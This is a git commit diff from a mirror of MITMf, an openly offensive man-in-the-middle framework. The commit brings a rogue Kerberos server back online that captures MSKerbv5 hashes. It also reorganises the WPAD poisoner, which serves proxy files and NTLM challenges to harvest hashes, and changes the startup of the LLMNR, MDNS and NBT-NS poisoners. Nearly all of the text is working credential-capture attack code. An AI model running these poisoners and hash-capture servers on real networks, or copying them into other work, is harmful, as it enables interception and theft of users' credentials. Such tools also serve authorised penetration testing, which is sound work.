mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
Kerberos sever back online, squashed some bugs
This commit is contained in:
parent
6b421d1cac
commit
aa4e022ab0
7 changed files with 93 additions and 77 deletions
|
@ -3,9 +3,9 @@ import socket
|
||||||
import threading
|
import threading
|
||||||
import struct
|
import struct
|
||||||
import logging
|
import logging
|
||||||
|
import string
|
||||||
|
|
||||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
from core.configwatcher import ConfigWatcher
|
|
||||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
@ -60,6 +60,20 @@ def NBT_NS_Role(data):
|
||||||
else:
|
else:
|
||||||
return "Service not known."
|
return "Service not known."
|
||||||
|
|
||||||
|
def Decode_Name(nbname):
|
||||||
|
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||||
|
try:
|
||||||
|
if len(nbname) != 32:
|
||||||
|
return nbname
|
||||||
|
l = []
|
||||||
|
for i in range(0, 32, 2):
|
||||||
|
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||||
|
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||||
|
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||||
|
except Exception, e:
|
||||||
|
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e))
|
||||||
|
return "Illegal NetBIOS name"
|
||||||
|
|
||||||
def WorkstationFingerPrint(data):
|
def WorkstationFingerPrint(data):
|
||||||
Role = {
|
Role = {
|
||||||
"\x04\x00" :"Windows 95",
|
"\x04\x00" :"Windows 95",
|
||||||
|
|
|
@ -1,35 +1,37 @@
|
||||||
##################################################################################
|
|
||||||
#Kerberos Server stuff starts here
|
import socket
|
||||||
##################################################################################
|
import threading
|
||||||
|
import struct
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class KERBServer():
|
class KERBServer():
|
||||||
|
|
||||||
def serve_thread_udp(host, port, handler):
|
def serve_thread_udp(self, host, port, handler):
|
||||||
try:
|
try:
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e))
|
||||||
|
|
||||||
def serve_thread_tcp(host, port, handler):
|
def serve_thread_tcp(self, host, port, handler):
|
||||||
try:
|
try:
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e))
|
||||||
|
|
||||||
#Function name self-explanatory
|
#Function name self-explanatory
|
||||||
def start(Krb_On_Off):
|
def start(self):
|
||||||
if Krb_On_Off == "ON":
|
mitmf_logger.debug("[KERBServer] online")
|
||||||
t1 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||||
t2 = threading.Thread(name="KerbTCP", target=serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||||
for t in [t1,t2]:
|
for t in [t1,t2]:
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
return t1, t2
|
|
||||||
if Krb_On_Off == "OFF":
|
|
||||||
return False
|
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
|
|
||||||
|
@ -45,6 +47,28 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
|
class KerbTCP(BaseRequestHandler):
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
KerbHash = ParseMSKerbv5TCP(data)
|
||||||
|
if KerbHash:
|
||||||
|
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||||
|
except Exception:
|
||||||
|
raise
|
||||||
|
|
||||||
|
class KerbUDP(BaseRequestHandler):
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data, soc = self.request
|
||||||
|
KerbHash = ParseMSKerbv5UDP(data)
|
||||||
|
if KerbHash:
|
||||||
|
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||||
|
except Exception:
|
||||||
|
raise
|
||||||
|
|
||||||
def ParseMSKerbv5TCP(Data):
|
def ParseMSKerbv5TCP(Data):
|
||||||
MsgType = Data[21:22]
|
MsgType = Data[21:22]
|
||||||
EncType = Data[43:44]
|
EncType = Data[43:44]
|
||||||
|
@ -131,33 +155,3 @@ def ParseMSKerbv5UDP(Data):
|
||||||
return BuildHash
|
return BuildHash
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
class KerbTCP(BaseRequestHandler):
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
KerbHash = ParseMSKerbv5TCP(data)
|
|
||||||
if KerbHash:
|
|
||||||
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
|
||||||
WriteData(Outfile,KerbHash, KerbHash)
|
|
||||||
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
|
||||||
except Exception:
|
|
||||||
raise
|
|
||||||
|
|
||||||
class KerbUDP(BaseRequestHandler):
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
data, soc = self.request
|
|
||||||
KerbHash = ParseMSKerbv5UDP(data)
|
|
||||||
if KerbHash:
|
|
||||||
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
|
||||||
WriteData(Outfile,KerbHash, KerbHash)
|
|
||||||
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
|
||||||
except Exception:
|
|
||||||
raise
|
|
||||||
|
|
||||||
##################################################################################
|
|
||||||
#Kerberos Server stuff ends here
|
|
||||||
##################################################################################
|
|
|
@ -4,6 +4,7 @@ import threading
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import logging
|
import logging
|
||||||
|
import string
|
||||||
|
|
||||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
from core.configwatcher import ConfigWatcher
|
from core.configwatcher import ConfigWatcher
|
||||||
|
@ -105,7 +106,8 @@ def Decode_Name(nbname):
|
||||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||||
except:
|
except Exception, e:
|
||||||
|
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e))
|
||||||
return "Illegal NetBIOS name"
|
return "Illegal NetBIOS name"
|
||||||
|
|
||||||
# NBT_NS Server class.
|
# NBT_NS Server class.
|
||||||
|
|
|
@ -2,15 +2,17 @@ import socket
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from HTTPPackets import *
|
|
||||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from HTTPPackets import *
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class WPADPoisoner():
|
class WPADPoisoner():
|
||||||
|
|
||||||
def start(on_off):
|
def start(self):
|
||||||
try:
|
try:
|
||||||
|
mitmf_logger.debug("[WPADPoisoner] online")
|
||||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||||
t = threading.Thread(name="HTTP", target=server.serve_forever)
|
t = threading.Thread(name="HTTP", target=server.serve_forever)
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
|
@ -25,6 +27,27 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
|
#HTTP Server Class
|
||||||
|
class HTTP(BaseRequestHandler):
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
self.request.settimeout(1)
|
||||||
|
data = self.request.recv(8092)
|
||||||
|
buff = WpadCustom(data,self.client_address[0])
|
||||||
|
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
||||||
|
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
||||||
|
if Verbose:
|
||||||
|
print Message
|
||||||
|
mitmf_logger.info(Message)
|
||||||
|
self.request.send(buff)
|
||||||
|
else:
|
||||||
|
buffer0 = PacketSequence(data,self.client_address[0])
|
||||||
|
self.request.send(buffer0)
|
||||||
|
except Exception:
|
||||||
|
pass#No need to be verbose..
|
||||||
|
|
||||||
#Parse NTLMv1/v2 hash.
|
#Parse NTLMv1/v2 hash.
|
||||||
def ParseHTTPHash(data,client):
|
def ParseHTTPHash(data,client):
|
||||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
|
@ -214,25 +237,4 @@ def PacketSequence(data,client):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return str(Basic_Ntlm(Basic))
|
return str(Basic_Ntlm(Basic))
|
||||||
|
|
||||||
#HTTP Server Class
|
|
||||||
class HTTP(BaseRequestHandler):
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
self.request.settimeout(1)
|
|
||||||
data = self.request.recv(8092)
|
|
||||||
buff = WpadCustom(data,self.client_address[0])
|
|
||||||
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
|
||||||
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
|
||||||
if Verbose:
|
|
||||||
print Message
|
|
||||||
mitmf_logger.info(Message)
|
|
||||||
self.request.send(buff)
|
|
||||||
else:
|
|
||||||
buffer0 = PacketSequence(data,self.client_address[0])
|
|
||||||
self.request.send(buffer0)
|
|
||||||
except Exception:
|
|
||||||
pass#No need to be verbose..
|
|
||||||
|
|
1
mitmf.py
1
mitmf.py
|
@ -176,6 +176,7 @@ SMBserver().start()
|
||||||
#start the reactor
|
#start the reactor
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
|
print "\n"
|
||||||
#run each plugins finish() on exit
|
#run each plugins finish() on exit
|
||||||
for p in load:
|
for p in load:
|
||||||
p.finish()
|
p.finish()
|
||||||
|
|
|
@ -30,6 +30,8 @@ from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
||||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||||
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
|
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
|
||||||
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
|
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
|
||||||
|
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
||||||
|
from core.responder.kerberos.KERBServer import KERBServer
|
||||||
|
|
||||||
class Responder(Plugin):
|
class Responder(Plugin):
|
||||||
name = "Responder"
|
name = "Responder"
|
||||||
|
@ -50,11 +52,12 @@ class Responder(Plugin):
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
sys.exit('[-] Error parsing config for Responder: ' + str(e))
|
sys.exit('[-] Error parsing config for Responder: ' + str(e))
|
||||||
|
|
||||||
LLMNRPoisoner().start(options, self.ourip)
|
|
||||||
MDNSPoisoner().start(options, self.ourip)
|
|
||||||
NBTNSPoisoner().start(options, self.ourip)
|
|
||||||
LANFingerprinter().start(options)
|
LANFingerprinter().start(options)
|
||||||
|
MDNSPoisoner().start(options, self.ourip)
|
||||||
|
KERBServer().start()
|
||||||
|
NBTNSPoisoner().start(options, self.ourip)
|
||||||
|
LLMNRPoisoner().start(options, self.ourip)
|
||||||
|
|
||||||
if options.wpad:
|
if options.wpad:
|
||||||
WPADPoisoner().start()
|
WPADPoisoner().start()
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue